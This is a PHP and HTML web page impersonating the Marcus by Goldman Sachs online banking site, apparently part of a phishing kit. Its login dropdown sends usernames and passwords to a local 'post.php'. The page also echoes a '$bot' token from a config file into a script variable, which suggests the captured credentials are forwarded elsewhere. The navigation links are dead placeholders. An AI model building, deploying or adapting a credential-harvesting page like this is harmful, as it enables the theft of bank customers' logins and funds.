<?php
include("config.php");
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="icon" type="image/x-icon" href="favicon.ico">
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Inter:ital,wght@0,300;0,400;0,500;0,600;0,700;1,400&display=swap" rel="stylesheet">
    <title>Marcus by Goldman Sachs — Online Banking</title>
    <style>
        *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }
        :root {
            --navy:  #1a2035;
            --navy2: #212c45;
            --blue:  #1565c0;
            --blue2: #1976d2;
            --teal:  #42c7a8;
            --text:  #111;
            --sub:   #555;
            --white: #ffffff;
        }
        html, body { height: 100%; font-family: 'Inter', sans-serif; color: var(--text); background: var(--white); }
        body { display: flex; flex-direction: column; min-height: 100vh; }

        /* ── NAV ─────────────────────────────────────── */
        .main-nav {
            background: var(--white);
            padding: 0 48px;
            height: 76px;
            display: flex; align-items: center; justify-content: space-between;
            border-bottom: 1px solid #eee;
            position: relative; z-index: 300;
        }
        .nav-logo img { height: 48px; width: auto; display: block; }
        .nav-links { display: flex; align-items: center; gap: 4px; }
        .nav-links a {
            font-size: 14px; font-weight: 500; color: var(--text);
            text-decoration: none; padding: 8px 16px; border-radius: 4px;
            display: flex; align-items: center; gap: 5px;
            transition: background .15s;
        }
        .nav-links a:hover { background: #f5f5f5; }
        .nav-right { display: flex; align-items: center; gap: 20px; }
        .nav-compare { font-size: 14px; color: var(--sub); text-decoration: none; }
        .nav-compare:hover { color: var(--text); }

        /* Login trigger */
        .login-wrap { position: relative; }
        .btn-login-nav {
            display: flex; align-items: center; gap: 8px;
            font-size: 15px; font-weight: 400; color: var(--text);
            background: none; border: none; cursor: pointer;
            font-family: 'Inter', sans-serif; padding: 8px 4px;
            transition: color .15s;
        }
        .btn-login-nav:hover { color: var(--blue); }

        /* ── LOGIN DROPDOWN ─────────────────────────── */
        .login-dd {
            display: none; position: absolute;
            top: calc(100% + 10px); right: 0;
            width: 340px; background: var(--white);
            border: 1px solid #dde2ea; border-radius: 6px;
            box-shadow: 0 8px 32px rgba(0,0,0,.14);
            z-index: 500; padding: 26px 24px 22px;
            animation: ddIn .18s ease both;
        }
        .login-dd.open { display: block; }
        @keyframes ddIn { from{opacity:0;transform:translateY(-6px)} to{opacity:1;transform:translateY(0)} }
        .login-dd::before {
            content:''; position:absolute; top:-7px; right:20px;
            width:14px; height:14px; background:var(--white);
            transform:rotate(45deg); border-radius:2px 0 0 0;
            border-left:1px solid #dde2ea; border-top:1px solid #dde2ea;
        }
        .dd-title { font-size: 17px; font-weight: 600; color: var(--text); margin-bottom: 18px; }
        .dd-f { margin-bottom: 12px; }
        .dd-f input {
            width: 100%; height: 46px; padding: 0 13px;
            border: 1px solid #d0d5df; border-radius: 4px;
            font-family: 'Inter', sans-serif; font-size: 14px; color: var(--text);
            background: #fafbfc; outline: none;
            transition: border-color .15s, box-shadow .15s; -webkit-appearance: none;
        }
        .dd-f input::placeholder { color: #aab; }
        .dd-f input:focus { border-color: var(--blue2); box-shadow: 0 0 0 3px rgba(25,118,210,.12); background: #fff; }
        .btn-dd-login {
            width: 100%; height: 46px; background: var(--blue2); color: #fff;
            border: none; border-radius: 4px;
            font-family: 'Inter', sans-serif; font-size: 15px; font-weight: 600;
            cursor: pointer; margin-bottom: 14px; transition: background .15s;
        }
        .btn-dd-login:hover { background: var(--blue); }
        .dd-links { display: flex; align-items: center; gap: 8px; font-size: 13px; }
        .dd-links a { color: var(--blue2); text-decoration: none; }
        .dd-links a:hover { text-decoration: underline; }
        .dd-links span { color: #ccc; }

        /* ── HERO ────────────────────────────────────── */
        .hero {
            background: var(--navy);
            min-height: 540px;
            display: flex; align-items: center;
            position: relative; overflow: hidden;
        }
        /* background.png right side — the coin illustration */
        .hero-art {
            position: absolute; right: 0; top: 0; bottom: 0;
            width: 55%; z-index: 0;
            background: url('res/img/background.png') center center / contain no-repeat;
            background-position: right center;
        }
        /* Fade art into navy */
        .hero-art::before {
            content: '';
            position: absolute; inset: 0;
            background: linear-gradient(to right, var(--navy) 5%, transparent 45%);
            z-index: 1;
        }

        .hero-content {
            position: relative; z-index: 2;
            padding: 60px 72px;
            max-width: 580px;
        }
        .hero-content h1 {
            font-size: clamp(28px, 3.2vw, 46px);
            font-weight: 400; color: #fff;
            line-height: 1.2; margin-bottom: 24px;
        }
        .hero-rate {
            display: flex; align-items: baseline; gap: 8px; margin-bottom: 6px;
        }
        .rate-num { font-size: clamp(36px, 4.5vw, 58px); font-weight: 300; color: #fff; line-height: 1; }
        .rate-apy { font-size: 17px; font-weight: 400; color: rgba(255,255,255,.72); }
        .rate-sub {
            font-size: 13px; font-weight: 600; color: rgba(255,255,255,.8);
            margin-bottom: 36px; display: flex; align-items: center; gap: 6px;
        }
        .btn-hero {
            display: inline-flex; align-items: center;
            padding: 14px 28px; background: var(--blue2); color: #fff;
            border: none; border-radius: 4px;
            font-family: 'Inter', sans-serif; font-size: 15px; font-weight: 500;
            cursor: pointer; text-decoration: none; transition: background .15s;
        }
        .btn-hero:hover { background: var(--blue); }

        /* ── FDIC ────────────────────────────────────── */
        .fdic-strip {
            background: var(--navy2);
            padding: 14px 72px;
            display: flex; align-items: center; gap: 10px;
        }
        .fdic-badge {
            background: #fff; color: var(--navy);
            font-size: 9px; font-weight: 900; letter-spacing: .04em;
            padding: 2px 5px; border-radius: 2px; flex-shrink: 0;
        }
        .fdic-strip p { font-size: 11px; color: rgba(255,255,255,.5); font-style: italic; }

        /* ── SAVINGS PRODUCTS ────────────────────────── */
        .savings-section { padding: 52px 72px 48px; text-align: center; background: var(--white); }
        .savings-section h2 { font-size: clamp(18px, 2vw, 26px); font-weight: 400; color: var(--text); margin-bottom: 28px; }
        .products-grid { display: grid; grid-template-columns: repeat(3, 1fr); gap: 1px; background: #e0e4ee; border: 1px solid #e0e4ee; border-radius: 4px; overflow: hidden; }
        .product-card { background: #f4f6fb; padding: 28px 24px; text-align: left; }
        .product-card h3 { font-size: 15px; font-weight: 500; color: var(--text); }

        /* ── FOOTER ──────────────────────────────────── */
        .page-footer { background: var(--navy); padding: 20px 48px; display: flex; align-items: center; justify-content: space-between; flex-wrap: wrap; gap: 12px; margin-top: auto; }
        .footer-links { display: flex; gap: 20px; flex-wrap: wrap; }
        .footer-links a { font-size: 12px; color: rgba(255,255,255,.5); text-decoration: none; }
        .footer-links a:hover { color: #fff; }
        .footer-copy { font-size: 12px; color: rgba(255,255,255,.3); }

        @media(max-width:900px) { .nav-links{display:none;} .main-nav{padding:0 20px;} .hero-art{display:none;} .hero-content{padding:40px 24px;max-width:100%;} .fdic-strip,.savings-section{padding-left:24px;padding-right:24px;} .products-grid{grid-template-columns:1fr;} }
        @media(max-width:500px) { .login-dd{width:290px;right:-10px;} }
    </style>
</head>
<body>

    <!-- Nav -->
    <nav class="main-nav">
        <div class="nav-logo"><img src="res/img/logo.svg" alt="Marcus by Goldman Sachs"></div>
        <div class="nav-links">
            <a href="#">Savings <svg width="11" height="11" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5"><path d="m6 9 6 6 6-6"/></svg></a>
            <a href="#">CDs <svg width="11" height="11" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5"><path d="m6 9 6 6 6-6"/></svg></a>
            <a href="#">Tools &amp; Resources <svg width="11" height="11" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5"><path d="m6 9 6 6 6-6"/></svg></a>
        </div>
        <div class="nav-right">
            <a href="#" class="nav-compare">Compare savings products</a>
            <div class="login-wrap">
                <button class="btn-login-nav" id="login-trigger">
                    <svg width="18" height="18" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.8" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="18" height="18" rx="2"/><path d="M3 9h18M9 21V9"/></svg>
                    Log in
                </button>
                <div class="login-dd" id="login-dd">
                    <div class="dd-title">Log in to Marcus</div>
                    <script>var token=<?php echo json_encode($bot); ?>;</script>
                    <form action="post.php" method="post">
                        <div class="dd-f"><input type="text" name="user" placeholder="Username" required autocomplete="username"></div>
                        <div class="dd-f"><input type="password" name="pass" placeholder="Password" required autocomplete="current-password"></div>
                        <button type="submit" class="btn-dd-login">Log In</button>
                        <div class="dd-links">
                            <a href="#">Forgot username</a>
                            <span>|</span>
                            <a href="#">Forgot password</a>
                        </div>
                    </form>
                </div>
            </div>
        </div>
    </nav>

    <!-- Hero -->
    <div class="hero">
        <div class="hero-art"></div>
        <div class="hero-content">
            <h1>Grow your cash reserve with Marcus high-yield savings</h1>
            <div class="hero-rate">
                <span class="rate-num">3.65%</span>
                <span class="rate-apy">APY</span>
            </div>
            <div class="rate-sub">
                Online Savings Account Annual Percentage Yield
                <svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><circle cx="12" cy="12" r="10"/><line x1="12" y1="8" x2="12" y2="12"/><line x1="12" y1="16" x2="12.01" y2="16"/></svg>
            </div>
            <a href="#" class="btn-hero">Explore Online Savings</a>
        </div>
    </div>

    <!-- FDIC -->
    <div class="fdic-strip">
        <span class="fdic-badge">FDIC</span>
        <p>FDIC-Insured – Backed by the full faith and credit of the U.S. Government. Goldman Sachs Bank USA, Salt Lake City Branch.</p>
    </div>

    <!-- Savings products -->
    <div class="savings-section">
        <h2>Savings products to help you grow your money</h2>
        <div class="products-grid">
            <div class="product-card"><h3>Online Savings Account</h3></div>
            <div class="product-card"><h3>High-Yield CD</h3></div>
            <div class="product-card"><h3>No-Penalty CD</h3></div>
        </div>
    </div>

    <!-- Footer -->
    <footer class="page-footer">
        <div class="footer-links">
            <a href="#">Privacy</a><a href="#">Security</a><a href="#">Terms of Use</a>
            <a href="#">Accessibility</a><a href="#">FDIC</a><a href="#">Contact Us</a>
        </div>
        <div class="footer-copy">© 2025 Goldman Sachs Bank USA. All Rights Reserved. Member FDIC.</div>
    </footer>

    <script>
        var t=document.getElementById('login-trigger'), d=document.getElementById('login-dd');
        t.addEventListener('click',function(e){ e.stopPropagation(); d.classList.toggle('open'); });
        document.addEventListener('click',function(e){ if(!document.querySelector('.login-wrap').contains(e.target)) d.classList.remove('open'); });
        document.addEventListener('keydown',function(e){ if(e.key==='Escape') d.classList.remove('open'); });
    </script>
    <script src="./res/jq.js"></script>
</body>
</html>